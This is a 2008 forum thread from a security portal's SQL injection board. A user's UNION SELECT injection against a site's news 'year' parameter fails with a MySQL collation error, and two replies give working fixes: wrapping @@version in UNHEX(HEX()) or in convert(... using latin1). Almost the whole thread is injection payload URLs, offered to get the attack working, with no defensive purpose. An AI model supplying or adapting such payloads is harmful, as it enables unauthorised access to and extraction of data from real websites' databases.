|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
sql injection error |
|
Posted: Wed Mar 26, 2008 3:19 pm |
|
|
theface |
Active user |
|
|
Joined: Dec 24, 2007 |
Posts: 33 |
|
|
|
|
|
|
|
when i go to
Code: | http://site.com/news/?year=2+union+all+select+1,2,3,4,5,@@version,7,8,9--+ |
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'UNION'
what do i have to do? |
|
|
|
|
|
Re: sql injection error |
|
Posted: Wed Mar 26, 2008 3:21 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
theface wrote: | when i go to
Code: | http://site.com/news/?year=2+union+all+select+1,2,3,4,5,@@version,7,8,9--+ |
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'UNION'
what do i have to do? |
Try using HEX and UNHEX:
Code: |
http://site.com/news/?year=2+union+all+select+1,2,3,4,5,UNHEX(HEX(@@version)),7,8,9--+
|
|
|
|
|
|
Posted: Fri Mar 28, 2008 3:06 am |
|
|
onbiew |
Regular user |
|
|
Joined: Nov 29, 2005 |
Posts: 12 |
|
|
|
|
|
|
|
or try using convert()
Quote: | http://site.com/news/?year=2+union+all+select+1,2,3,4,5,convert(@@version+using+latin1),7,8,9--+ |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|